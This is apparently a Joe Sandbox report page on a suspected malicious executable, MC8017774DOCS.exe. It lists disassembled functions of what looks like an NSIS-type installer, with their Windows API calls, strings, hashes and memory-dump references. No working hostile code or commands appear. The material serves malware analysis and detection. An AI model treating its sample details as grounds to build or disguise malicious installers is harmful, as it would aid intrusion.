Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 218f2c87b148b58c94c6785b51cf5afc075c1faf60bc5df3e6f759b2377d660f
Instruction ID: 0958fbfe94b1809001ec2c76305b3cf500f7264b01c73c256976ee1787a3906e
Opcode Fuzzy Hash: 218f2c87b148b58c94c6785b51cf5afc075c1faf60bc5df3e6f759b2377d660f
Instruction Fuzzy Hash: B1418C71800209AFCF058F95DE459AF7BB9FF45310F00842AF591AA1A0CB38D954DFA4

Function 00405EE3 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,0040607E,?,?), ref: 00405F1E
GetShortPathNameW.KERNEL32(?,007A55C0,00000400), ref: 00405F27

Part of subcall function 00405CF2: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405FD7,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D02
Part of subcall function 00405CF2: lstrlenA.KERNEL32(00000000,?,00000000,00405FD7,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D34

GetShortPathNameW.KERNEL32(?,007A5DC0,00000400), ref: 00405F44
wsprintfA.USER32 ref: 00405F62
GetFileSize.KERNEL32(00000000,00000000,007A5DC0,C0000000,00000004,007A5DC0,?,?,?,?,?), ref: 00405F9D
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405FAC
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FE4
SetFilePointer.KERNEL32(0040A560,00000000,00000000,00000000,00000000,007A51C0,00000000,-0000000A,0040A560,00000000,[Rename],00000000,00000000,00000000), ref: 0040603A
GlobalFree.KERNEL32(00000000), ref: 0040604B
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00406052

Part of subcall function 00405D8D: GetFileAttributesW.KERNELBASE(?,00402F1D,C:\Users\user\Desktop\MC8017774DOCS.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405D91
Part of subcall function 00405D8D: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,00000006,00000008,0000000A), ref: 00405DB3

Strings

%ls=%ls, xrefs: 00405F58
[Rename], xrefs: 00405FCC, 00405FDE

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 210d5d9a443b3001b4c7cda13cc78adcf358d44dd1d7e4f25ad0eda9c69d4b7c
Instruction ID: 42876e8bd8e74e9ce15c52ab3024c97c29192655820983ae090f8c600f4dcad6
Opcode Fuzzy Hash: 210d5d9a443b3001b4c7cda13cc78adcf358d44dd1d7e4f25ad0eda9c69d4b7c
Instruction Fuzzy Hash: 25312530240B156BD220BB218D48F6B3A9DEF86744F15003AFA42F62D1EA7DD8148ABD

Function 0040652B Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\MC8017774DOCS.exe",00403347,C:\Users\user\AppData\Local\Temp\,76233420,004035B6,?,00000006,00000008,0000000A), ref: 0040658E
CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 0040659D
CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\MC8017774DOCS.exe",00403347,C:\Users\user\AppData\Local\Temp\,76233420,004035B6,?,00000006,00000008,0000000A), ref: 004065A2
CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\MC8017774DOCS.exe",00403347,C:\Users\user\AppData\Local\Temp\,76233420,004035B6,?,00000006,00000008,0000000A), ref: 004065B5

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040652C, 00406531
"C:\Users\user\Desktop\MC8017774DOCS.exe", xrefs: 0040652B
*?|<>/":, xrefs: 0040657D

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\MC8017774DOCS.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-2595587113
Opcode ID: f2dbc7d310367101a7bf5127f564121aa95c210a65fb008c6410ea5a4ac792ac
Instruction ID: 354a4add7e9ac5ce680480da4fd3ed99b8030fd96c8c1ffbe99f836226306b46
Opcode Fuzzy Hash: f2dbc7d310367101a7bf5127f564121aa95c210a65fb008c6410ea5a4ac792ac
Instruction Fuzzy Hash: 4511B655800612A5DF303B14AD44A7772F8EF547A0F56443FE985733C4E77C5C9286AD

Function 00404275 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00404292
GetSysColor.USER32(00000000), ref: 004042D0
SetTextColor.GDI32(?,00000000), ref: 004042DC
SetBkMode.GDI32(?,?), ref: 004042E8
GetSysColor.USER32(?), ref: 004042FB
SetBkColor.GDI32(?,?), ref: 0040430B
DeleteObject.GDI32(?), ref: 00404325
CreateBrushIndirect.GDI32(?), ref: 0040432F

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction ID: 595a5ac3551c8926a474018cd00e052a0643935c19338169816fcf7950983a94
Opcode Fuzzy Hash: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction Fuzzy Hash: BD2135716007049FCB219F68DD48B5BBBF8AF81715B048A3EED96A26E0D734E944CB54

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 004026B6
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 004026F1
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402714
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040272A

Part of subcall function 00405E6E: SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,00000000,?,?,0040262F,00000000,00000000,?,00000000,00000011), ref: 00405E84

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 004027D6

Strings

9, xrefs: 00402699

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: d48387ae3e024a72c6243637e6df33ec40d1b18911dabf8db30d8cce87806c70
Instruction ID: 60624729709df044e3b9a276a2138f1bd207bb457e97f94edfd4483e5cf9eee0
Opcode Fuzzy Hash: d48387ae3e024a72c6243637e6df33ec40d1b18911dabf8db30d8cce87806c70
Instruction Fuzzy Hash: 61510974D10219AEDF219F95DA88AAEB779FF04304F50443BE901F72D0DBB89982CB58

Function 004052FF Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(007A0F00,00000000,007924D8,762323A0,?,?,?,?,?,?,?,?,?,00403257,00000000,?), ref: 00405337
lstrlenW.KERNEL32(00403257,007A0F00,00000000,007924D8,762323A0,?,?,?,?,?,?,?,?,?,00403257,00000000), ref: 00405347
lstrcatW.KERNEL32(007A0F00,00403257,00403257,007A0F00,00000000,007924D8,762323A0), ref: 0040535A
SetWindowTextW.USER32(007A0F00,007A0F00), ref: 0040536C
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405392
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004053AC
SendMessageW.USER32(?,00001013,?,00000000), ref: 004053BA

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: d3653f13458b7317840ca79dc32cb7632281d068d931c5ba13ed513af890554b
Instruction ID: 8b92f55a8d4b67b8ae829402156b3fb25f72412c241cd3f1eea2d9b1658803e5
Opcode Fuzzy Hash: d3653f13458b7317840ca79dc32cb7632281d068d931c5ba13ed513af890554b
Instruction Fuzzy Hash: 66216071900618BACB11AFA5DD859CFBF78EF85350F10846AF904B62A0C7B94A50CF98

Function 00404BC9 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404BE4
GetMessagePos.USER32 ref: 00404BEC
ScreenToClient.USER32(?,?), ref: 00404C06
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404C18
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404C3E

Strings

f, xrefs: 00404C1A

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: e2d68be7770c43893e1e2478522bb0d44a2fa382b0b36792216c84cf33d7cb12
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: 6F015E71D00218BAEB00DB94DD85BFFBBBCAF95B11F10412BBA51B61D0C7B49A018BA4

Function 00401DB9 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DBC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD6
MulDiv.KERNEL32(00000000,00000000), ref: 00401DDE
ReleaseDC.USER32(?,00000000), ref: 00401DEF
CreateFontIndirectW.GDI32(0040CDA8), ref: 00401E3E

Strings

Tahoma, xrefs: 00401E24

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Tahoma
API String ID: 3808545654-3580928618
Opcode ID: 5bd6bd5a0da59a8b862859853f94caf732d3d6ef064c8fd9610db6583930af4a
Instruction ID: 8812a6a15301a194985102fbed33e50eefbd915e65da34b8167a76c641a3bf07
Opcode Fuzzy Hash: 5bd6bd5a0da59a8b862859853f94caf732d3d6ef064c8fd9610db6583930af4a
Instruction Fuzzy Hash: 1B017571948240EFE7406BB4AF8A7D97FB49F95301F10457EE241B71E2CA7804459F2D

Function 00402DF3 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402E11
MulDiv.KERNEL32(0008A76C,00000064,0008A770), ref: 00402E3C
wsprintfW.USER32 ref: 00402E4C
SetWindowTextW.USER32(?,?), ref: 00402E5C
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E6E

Strings

verifying installer: %d%%, xrefs: 00402E46

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 1a328351c5421bd6383489faae0abdae529a3cf17d73acb180239156b2535a4a
Instruction ID: 3b7df5e00b9d055b55134e233a6447c2e1405f162d6c23549fa63679cea1b34f
Opcode Fuzzy Hash: 1a328351c5421bd6383489faae0abdae529a3cf17d73acb180239156b2535a4a
Instruction Fuzzy Hash: 5601677164020CBFDF109F50DD49FAE3B69AB04305F108439FA05B51E0DBB98555CF58

Function 6E9B256D Relevance: 9.1, APIs: 6, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 6E9B121B: GlobalAlloc.KERNELBASE(00000040,?,6E9B123B,?,6E9B12DF,00000019,6E9B11BE,-000000A0), ref: 6E9B1225

GlobalFree.KERNEL32(?), ref: 6E9B265B
GlobalFree.KERNEL32(00000000), ref: 6E9B2690

Memory Dump Source

Source File: 00000000.00000002.2560495387.000000006E9B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2560404950.000000006E9B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2560576199.000000006E9B3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2560603132.000000006E9B5000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_MC8017774DOCS.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 19c859219f60fd53457f160ab4b182b55351e8451b6bb8efc9ce804dfd21718a
Instruction ID: 05e3f7cef9edbcc7956439e18795972bc31495ec003c335b0f39c84c7435a498
Opcode Fuzzy Hash: 19c859219f60fd53457f160ab4b182b55351e8451b6bb8efc9ce804dfd21718a
Instruction Fuzzy Hash: E3319CB1918501EFCB15CFA8C898C6BBBBEEF9B308710492EF55187220E771D8159F25

Function 004028AD Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402901
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 0040291D
GlobalFree.KERNEL32(?), ref: 00402956
GlobalFree.KERNEL32(00000000), ref: 00402969
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402981
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402995

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
